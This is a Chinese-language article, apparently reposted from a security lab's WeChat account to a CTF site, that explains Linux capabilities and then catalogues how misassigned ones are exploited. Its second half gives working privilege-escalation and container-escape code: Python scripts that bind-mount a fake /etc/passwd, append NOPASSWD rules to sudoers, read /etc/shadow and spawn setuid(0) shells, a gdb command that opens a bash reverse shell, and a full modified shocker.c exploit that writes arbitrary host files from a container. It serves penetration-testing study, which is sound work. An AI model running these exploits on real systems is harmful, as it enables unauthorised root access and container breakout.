Linux Capabilities利用总结

前言

Linux对于权限的管理,系统权限只有root才有,对于普通用户只有一些有限的权限;而对于普通用户如果想进行一些权限以外的操作,之前主要有两种方法:一是通过sudo提权;二是通过SUID[1],让普通用户对设有SUID的文件具有执行权限,当用户执行此文件时,会用文件的拥有者的权限执行,比如常用的命令passwd,修改用户的密码是需要root权限的,但是普通用户却可以使用,这是因为/usr/bin/passwd被设置了SUID,该文件的拥有者是root,所以普通用户可以使用并执行。然而SUID却带来了安全隐患,因为本身需要一部分特权,但是却拥有了root的全部权限,所以为了对root权限进行更加细粒度的控制,Linux 引入了 capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。本文主要总结 Capabilites 机制的基本概念和利用。

Linux Capabilities 是什么?

从内核 2.2 开始,Linux 将传统上与超级用户 root 关联的特权划分为不同的单元,称为Capabilites。Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个单元可以独立启用和禁用。如此一来,权限检查的过程就变成了:在执行特权操作时,如果进程的有效身份不是 root,就去检查是否具有该特权操作所对应的 capabilites,并以此决定是否可以进行该特权操作。比如要向进程发送信号(kill()),就得具有 capability CAP_KILL;如果设置系统时间,就得具有 capability CAP_SYS_TIME
Linux中的capability是可以分配给进程、二进制文件、服务和用户等的特殊属性,它们可以允许它们拥有通常保留给root级行动的特定权限,Capabilities 可以在进程执行时赋予,也可以直接从父进程继承。所以理论上如果给 nginx 可执行文件赋予了 CAP_NET_BIND_SERVICE,那么它就能以普通用户运行并监听在 80 端口上。

不同的Capabilities

线程 Capabilities

每一个线程,具有5个capabilities集合,每一个集合使用 64 位掩码来表示,显示为 16 进制格式。五种 capabilities 集合类型,分别是:
  • • CapInh: Inheritable capabilities

  • • CapPrm: Permitted capabilities

  • • CapEff: Effective capabilities

  • • CapBnd: Bounding set

  • • CapAmb: Ambient capabilities set


每个集合中都包含零个或多个 capabilities。这5个集合的具体含义如下:

  • • CapEff(Effective): Effective代表进程目前正在使用的所有Capabilities(这是内核用于权限检查的实际capabilities集)。对于文件capabilities来说,Effective实际上是一个单一的位,表示在运行二进制文件时,Permitted的Capabilities是否会被移到Effective集。这使得那些没有capabilities的二进制文件有可能在不发出特殊系统调用的情况下使用文件Capabilities。


  • • CapPrm(Permitted): 这是一个capabilities的超集,线程可以将其添加到线程允许的或线程可继承的集合中。线程可以使用capset()系统调用来管理Capabilities。它可以从任何集合中删除任何Capabilities,但只能向其线程EffectiveInheritable添加线程允许集合中的Capabilities。因此,它不能将任何Capabilities添加到其线程允许的集合中,除非它的线程有效集合中有CAP_SETPCAP


  • • CapInh(Inheritable): 使用Inheritable集可以指定允许从父进程继承的所有Capabilities。这可以防止一个进程接收它不需要的任何Capabilities。这里需要说明一下,包含在该集合中的 capabilities 并不会自动继承给新的可执行文件,即不会添加到新线程的 Effective 集合中,它只会影响新线程的 Permitted 集合。


  • • CapBnd(Bounding)Bounding 集合是 Inheritable 集合的超集,可以限制一个进程可能收到的Capabilities。在InheritablePermitted集中,只有存在于Bounding集中的Capabilities才被允许。


  • • CapAmb(Ambient): Linux 4.3 内核新增了一个 capabilities 集合叫 Ambient ,用来弥补 Inheritable 的不足。Ambient集适用于所有没有文件Capabilities的非SUID二进制文件。它在execve()时保留了Capabilities。然而,并不是所有在Ambient集的Capabilities都会被保留,因为它们会被丢弃,以防它们不在InheritablePermitted集中出现。这个集合在 execve 调用时被保留。Ambient 的好处显而易见,举个例子,如果你将 CAP_NET_ADMIN 添加到当前进程的 Ambient 集合中,它便可以通过 fork() 和 execve() 调用 shell 脚本来执行网络管理任务,因为 CAP_NET_ADMIN 会自动继承下去。


要查看某个特定进程的capabilities,可以使用/proc目录下的状态文件。
对于所有正在运行的进程,capabilities信息是按线程维护的,对于文件系统中的二进制文件,它被存储在扩展属性中。
可以在/usr/include/linux/capability.h中找到定义的Capabilities。可以在cat /proc/self/statuscapsh --print中找到当前进程的capabilities,在/proc/<pid>/status中找到其他用户的capabilities。
cat /proc/<pid>/status | grep Cap

# 查看当前进程的capabilities
cat /proc/$$/status | grep Cap
这是一个典型的root进程所拥有的capabilities。
Linux Capabilities利用总结

  • • capsh

但是这种方式获得的信息无法阅读,我们需要使用 capsh 命令把它们转义为可读的格式:
capsh --decode=0000003fffffffff
Linux Capabilities利用总结

capsh也可以直接查看当前capabilitiescapsh --print
Linux Capabilities利用总结

  • • getpcaps

getpcaps工具使用capget()系统调用来查询某个特定线程的可用Capabilities。这个系统调用只需要提供PID就可以获得相关信息。查看进程的capabilities还可以通过getpcaps,然后是其进程ID(PID),也可以提供一个进程ID的列表。
getpcaps <pid>
测试一下tcpdump的Capabilities,在赋予二进制文件足够的Capabilities(cap_net_admincap_net_raw)来抓包后(ping在395120进程中运行)。可以看到我们给tcpdump设置的capabilities是一致的,非root用户也可以嗅探网络。
Linux Capabilities利用总结

文件 Capabilities

文件的 capabilities 被保存在文件的扩展属性中。如果想修改这些属性,需要具有 CAP_SETFCAP 的 capability。文件与线程的 capabilities 共同决定了通过 execve() 运行该文件后的线程的 capabilities。
文件的 capabilities 功能,需要文件系统的支持。如果文件系统使用了 nouuid 选项进行挂载,那么文件的 capabilities 将会被忽略。
在上面的示例中我们通过 setcap 命令修改了程序文件 /usr/sbin/tcpdump 的 capabilities。在可执行文件的属性中有三个集合来保存三类 capabilities,它们分别是:
  • • Permitted:在进程执行时,Permitted 集合中的 capabilites 自动被加入到进程的 Permitted 集合中。

  • • Inheritable:Inheritable 集合中的 capabilites 会与进程的 Inheritable 集合执行与操作,以确定进程在执行 execve 函数后哪些 capabilites 被继承。

  • • Effective:Effective 只是一个 bit。如果设置为开启,那么在执行 execve 函数后,Permitted 集合中新增的 capabilities 会自动出现在进程的 Effective 集合中。

二进制文件可以有在执行时可以使用的Capabilities。例如,有cap_net_rawcapabilites的ping二进制文件,以及设置过的tcpdump。
root@k8s-master:~# getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
root@k8s-master:~# getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
命令中的 ep 分别表示 Effective 和 Permitted 集合,+ 号表示把指定的 capabilities 添加到这些集合中,- 号表示从集合中移除(对于 Effective 来说是设置或者清除位)。
下面的命令可以用来查找已经有capabilities的二进制文件。
getcap -r / 2>/dev/null
  • • 通过capsh删除Capabilities

如果我们停止tcpdumpCAP_NET_RAW那么无法再使用。
capsh --drop=cap_net_raw --print -- -c "tcpdump"
Linux Capabilities利用总结

  • • 移除Capabilities

可以用以下方法移除一个二进制文件的Capabilities。
setcap -r <path>

用户 Capabilities

用户也可以分配Capabilities,这意味着,由用户执行的每一个进程都能使用用户的capabilities。
分配给用户的Capabilities存储在/etc/security/capability.conf配置文件中。
Linux Capabilities利用总结

环境 Capabilities

可以通过capsh --print查看当前环境的Capabilities 编译ambient.c[2]程序,就有可能在一个提供 Capabilities 的环境中产生一个bash shell 在运行编译后的文件后获得的bash中可以发现有了新的Capabilities。
Linux Capabilities利用总结

只能添加同时存在于CapPrm(Permitted)和CapInh(Inheritable)集合中的Capabilities。
具有Capabilities意识的二进制文件不会使用环境赋予的新Capabilities,但是capability低的二进制文件会使用它们,因为它们不会拒绝这些Capabilities。这使得在向二进制文件授予Capabilities的特殊环境中,capability低的二进制文件容易受到攻击。

服务 Capabilities

默认情况下,以root身份运行的服务将具有所有的capabilities,这是相当危险的。
因此,服务的配置文件允许指定希望它拥有的Capabilities,以及应该执行服务的用户,以避免以不必要的权限运行服务。 systemd通过AmbientCapabilities变量为服务提供了配置Capabilities的指令。
[Service]
User=test
AmbientCapabilities=CAP_NET_BIND_SERVICE
Linux Capabilities利用总结

容器 Capabilities

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。
在大部分情况下,容器里的进程不需要以root用户运行,Docker给容器内root只授予了几个默认的Capabilities[3],其他的禁用。这意味着容器里的root用户权限比宿主机上真正的root用户权限要小。
实际情况用户会存在自己给容器添加特权方便操作,比如额外添加一些Capability,例如SYS_ADMIN,以及运行具有--privileged或危险功能的 Docker 容器允许特权操作。
privileged标志给了容器所有的Capabilities,而且它还解除了设备cgroup控制器强制执行的所有限制,容器可以访问主机所有device以及具有mount操作的权限。但是--privileged参数不等于只是拥有所有的Capabilities,还包括禁用Seccomp和AppArmor等安全机制、访问device。换句话说,容器可以做主机可以做的几乎所有事情。
当容器拥有特权后是可以逃逸到宿主机的,所以为了方便默认情况下Docker为容器启用了一些Capabilities,并且Kubernetes也可以给容器配置Capabilities[4]
容器内如果有命令capsh可以通过capsh --print查看当前的Capabilities 识别错误配置的Capabilities的最简单方法是使用枚举脚本,如LinPEAS[5]  
Linux Capabilities利用总结

特殊情况 空Capabilities

可以给文件设置空的capability,这样或许会创建一个set-user-ID-root的程序,这将执行该程序的进程effective保存的set-user-ID改为0。如果有一个文件符合下面的条件:
  1. 1. 不属于root。

  2. 2. SUID/SGID位没有设置。

  3. 3. capabilities设置为空。

该文件将以root运行。
# 比如如下情况
getcap <filename>
<filename> =ep
对tcpdump测试。
Linux Capabilities利用总结

经过设置后普通用户也可以执行tcpdump。
Linux Capabilities利用总结

利用 Capabilities

以下是一些常见的 Capabilites 列表:

Capability 名称 描述
CAP_CHOWN 修改文件所有者的权限
CAP_DAC_OVERRIDE 忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID 允许设置文件的 setuid 位
CAP_KILL 允许对不属于自己的进程发送信号
CAP_LINUX_IMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_NET_ADMIN 允许执行网络管理任务
CAP_NET_BIND_SERVICE 允许绑定到小于 1024 的端口
CAP_NET_RAW 允许使用原始套接字
CAP_SETGID 允许改变进程的 GID
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETUID 允许改变进程的 UID
CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT 允许重新启动系统
CAP_SYS_CHROOT 允许使用 chroot() 系统调用
CAP_SYS_MODULE 允许插入和删除内核模块
CAP_SYS_PTRACE 允许跟踪任何进程
CAP_SYS_RAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYSLOG 允许使用 syslog() 系统调用
利用情况主要从两个方面考虑:
  • • 当二进制文件具有Capabilities。

  • • 环境具有Capabilities主要是当前在容器内。

Capabilities信息收集
  • • 二进制文件

# 查找/下的所有具有Capabilities的二进制文件
getcap -r / 2>/dev/null

# 查看单个二进制文件
getcap <path>
  • • 环境容器内

capsh --print


以下主要列举利用意义大的一些Capabilities

CAP_SYS_ADMIN

CAP_SYS_ADMIN: 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 CAP_SYS_ADMIN在很大程度上是一种全面的Capabilities,它很容易导致额外的Capabilities或完全的root(通常是对所有Capabilities的访问)。CAP_SYS_ADMIN需要执行一系列的管理操作,如果在容器内执行特权操作,就很难从容器中删除。对于模仿整个系统的容器来说,保留这种Capabilities往往是必要的,而对于单独的应用程序容器来说,它的限制性更强。
当文件具有能力: 通过收集发现python具有该能力。
Linux Capabilities利用总结

通过python可以修改root的密码。
Linux Capabilities利用总结

通过脚本将修改过的passwd文件mount/etc/passwd
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"<fake passwd 路径>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
成功root密码password登陆。
Linux Capabilities利用总结

当环境具有能力: 主要为当前可能是一个容器,通过信息收集发现当前环境具有SYS_ADMIN
  • • 挂载主机

可以在容器内挂载宿主机磁盘。
fdisk -l
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/
cd /mnt
chroot ./ bash
  • • 通过ssh

通过挂载,之后创建一个用户,在使用该用户ssh连接。
#Like in the example before, the first step is to moun the dosker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

除此之外还可以通过notify_on_release进行逃逸参考理解Docker容器转义[6] 

CAP_SYS_MODULE

CAP_SYS_MODULE: 允许插入和删除内核模块 CAP_SYS_MODULE允许进程加载和卸载任意的内核模块(init_module(2), finit_module(2) 和 delete_module(2) 系统调用)。这可能导致微不足道的权限升级和ring-0妥协。内核可以被随意修改,颠覆所有系统安全、Linux安全模块和容器系统。
当文件具有能力(内核编译参考环境部分):
  • • python:可以利用python加载内核模块。

  • • kmod:可以利用该命令插入内核模块。

当环境具有能力:
  • • 容器:创建内核模块,通过nc接收反弹的shell可以参考Docker容器突破:滥用SYS MODULE能力[7]破解 Play-with-Docker 并在主机上远程运行代码[8]  

当python具有该能力 默认情况下,modprobe命令检查目录中的依赖列表和映射文件/lib/modules/$(uname -r) 为了利用创建一个假的lib/modules文件夹。
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

CAP_SYS_PTRACE

CAP_SYS_PTRACE:允许跟踪任何进程 CAP_SYS_PTRACE 允许使用 ptrace(2) 和最近引入的跨内存附加系统调用,如 process_vm_readv(2) 和 process_vm_writev(2) 。如果这个Capabilities被授予,并且 ptrace(2) 系统调用本身没有被 seccomp 过滤器阻止,这将允许攻击者绕过其他 seccomp 限制,请参考 PoC 在允许 ptrace 时绕过 seccomp[9]

当文件具有能力:比如python时还可以参考python Capabilities cap_sys_ptrace+ep提权[10]  。
当环境具有能力:比如在docker内时,可以通过Shellcode注入[11];或者当前环境具有gdb,可以从主机debug进程中调用system函数。
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH:忽略文件读及目录搜索的 DAC 访问限制。
CAP_DAC_READ_SEARCH 允许一个进程绕过文件读取和目录读取及执行的权限。虽然这被设计为用于搜索或读取文件,但它也授予进程调用open_by_handle_at(2)的权限。任何具有CAP_DAC_READ_SEARCHCapabilities的进程都可以使用open_by_handle_at(2)来获得对任何文件的访问,甚至是挂载命名空间之外的文件。传递给 open_by_handle_at(2) 的句柄被认为是使用 name_to_handle_at(2) 获取的不透明标识符。然而,这个句柄包含了敏感和可篡改的信息,如inode号码。这是Sebastian Krahmer用shocker[12]漏洞首次在Docker容器中显示的问题。
当文件具有能力:
  • • tar

在根目录递归检测cap时发现tar具有cap_dac_read_search功能。
Linux Capabilities利用总结

当任何程序拥有cap_dac_read_searchCapabilities的有效集合时,这意味着它可以读取任何文件或对目录执行任何可执行的权限。该程序不能在目录中创建任何文件或修改现有文件,因为它需要写入权限,而这种Capabilities没有提供这种权限。
Linux Capabilities利用总结

因为在这种情况下,tar有这个权限。你不能目录升级权限,但如果你幸运的话,在取回影子文件后破解哈希密码。你可以通过包括/etc/shadow文件来执行一个简单的tar归档,然后再提取它。
当前可以利用tar具有的能力,将相关敏感文件打个包,然后再拿出来。
Linux Capabilities利用总结

  • • python

Linux Capabilities利用总结

利用python列出/root下的所有文件:
import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)
也可以读取指定文件如/etc/shadow
python -c 'print(open("/etc/shadow", "r").read())'
Linux Capabilities利用总结

当环境具有能力: 参考该文章利用shocker.c,利用需要找到一个指向安装在主机上的东西的指针,文章使用/.dockerinit也可以修改为/etc/hostname该文件必须是挂载的主机中的文件,比如k8s中kube-proxy就将/etc/hostname该文件挂载。
Docker已经通过放弃CAP_DAC_READ_SEARCH(以及使用seccomp阻止对open_by_handle_at的访问)来缓解这个问题。

CAP_DAC_OVERRIDE

CAP_DAC_OVERRIDE: 忽略文件的 DAC 访问限制,可以写入任何文件 可以用来写文件,比如vim有该能力,可以修改sudo配置文件提权。

当文件具有能力:

  • • vim

当vim具有该能力,可以修改如passwd 、sudoers或shadow等。

Linux Capabilities利用总结

修改相关文件进行利用。
Linux Capabilities利用总结

  • • python

当python具有该能力,同样可以修改一些敏感文件提权。

Linux Capabilities利用总结

file=open("/etc/sudoers","a")
file.write("username ALL=(ALL) NOPASSWD:ALL")
file.close()
当环境具有能力: 想要逃逸还需要具有能力CAP_DAC_READ_SEARCH可以读取主机文件,对shocker.c进行修改,改为对主机写入任意文件。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr"[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr"0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr"n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr", ");
  }
  fprintf(stderr"};n");

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr"[*] Resolving '%s'n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr"[*] Found %sn", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr"[+] Match: %s ino=%dn", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr"[*] Brute forcing remaining 32bit. This can take a while...n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr"[*] (%s) Trying: 0x%08xn", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr"[***] docker VMM-container breakout Po(C) 2014 [***]n"
    "[***] The tea from the 90's kicks your sekurity again. [***]n"
    "[***] If you have pending sec consulting, I'll happily [***]n"
    "[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr"[!] Got a final handle!n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!n");
  close(fd2);
  close(fd1);
  return 0;
}

CAP_CHOWN

CAP_CHOWN: 可以改变任何文件的所有权。
当文件具有能力: 假设python二进制文件具有这种能力,可以改变/etc/shadow的所有者,改变root的密码以此提权。python具有CAP_CHOWN,当前/etc/shadow还是root的。
Linux Capabilities利用总结

通过利用python所有者已经变更。
Linux Capabilities利用总结

或者ruby可以通过如下命令。
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

CAP_FOWNER:更改任何文件的权限 类似CAP_CHOWN,python具有这种能力,可以改变/etc/shadow的所有者,改变root的密码以此提权。
python -c 'import os;os.chmod("/etc/shadow",0666)'

CAP_SETUID

CAP_SETUID:允许设置所创建进程的有效用户ID。
当文件具有能力: 具有该能力,可以设置uid为0后,调用bash达到提权。
  • • python

  • • perl

  • • tar

比如利用python:
# 方法一
import os
os.setuid(0)
os.system("/bin/bash")
python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# 方法二
import os
import prctl
# 在集合effective中添加capability
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
Linux Capabilities利用总结

Linux Capabilities利用总结

CAP_SETGID

CAP_SETGID:允许设置所创建进程的有效组ID。
当文件具有能力: 可以通过覆盖文件来提权,找到组可以操作的文件,因为可以设置为任何组。
# 查找组可写的每个文件
find / -perm /g=w -exec ls -lLd {} ; 2>/dev/null
# 在/etc中找到每一个maxpath为1的组可写文件
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} ; 2>/dev/null
# 在/etc中查找每一个maxpath为1的组可读文件
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} ; 2>/dev/null
找到一个文件,就可以滥用(通过读或写)升级权限,得到一个shell。
import os
os.setgid(42)
os.system("/bin/bash")
shadow的组id为42,可以通过python创建一个shell。
Linux Capabilities利用总结

创建的进程被设置组id为shadow,可以cat /etc/shadow
Linux Capabilities利用总结

主要可以进行如下操作:
  • • 将用户和密码添加到/etc/passwd。

  • • 在/etc/shadow中更改密码。

  • • 在/etc/sudoers中将用户添加到sudoers。

  • • 通过docker套接字通信利用docker,一般在/run/docker.sock/var/run/docker.sock

CAP_SETFCAP

CAP_SETFCAP:可以给文件和进程设置能力。 
当文件具有能力: 当python具有该能力可以通过脚本提权到rootpython3.8 setfcap.py /usr/bin/python3.8
import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + " was successfully added to " + path)
通过给python添加新能力,新能力将直接覆盖原本的能力,如果想保留可以通过在原有的基础上添加比如cap_setuid,cap_setfcap+ep
当环境具有能力: 该能力是默认添加给docker进程的能力,该能力允许给其他二进制的文件添加能力,所以可以给其他二进制文件添加可以用来逃逸的能力。

参考资料

  • • https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

  • • https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

  • • https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

  • • https://man7.org/linux/man-pages/man7/capabilities.7.html

  • • https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/

  • • https://pierrchen.blogspot.com/2018/05/container-deep-dive-3-linux-capabilities.html

  • • https://www.onitroad.com/jc/linux/man-pages/linux/man7/capabilities.7.html


引用链接

[1] SUID: https://en.wikipedia.org/wiki/Setuid
[2] ambient.c: https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/
[3] 默认的Capabilities: https://github.com/moby/moby/blob/master/oci/caps/defaults.go
[4] 容器配置Capabilities: https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container
[5] LinPEAS: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
[6] 理解Docker容器转义: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[7] Docker容器突破:滥用SYS MODULE能力: https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
[8] 破解 Play-with-Docker 并在主机上远程运行代码: https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
[9] 在允许 ptrace 时绕过 seccomp: https://gist.github.com/thejh/8346f47e359adecd1d53
[10] python Capabilities cap_sys_ptrace+ep提权: https://www.cnblogs.com/zlgxzswjy/p/15185591.html
[11] Shellcode注入: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
[12] shocker: https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3


原文始发于微信公众号(默安逐日实验室):Linux Capabilities利用总结

版权声明:admin 发表于 2023年1月13日 上午9:00。
转载请注明:Linux Capabilities利用总结 | CTF导航

相关文章

暂无评论

暂无评论...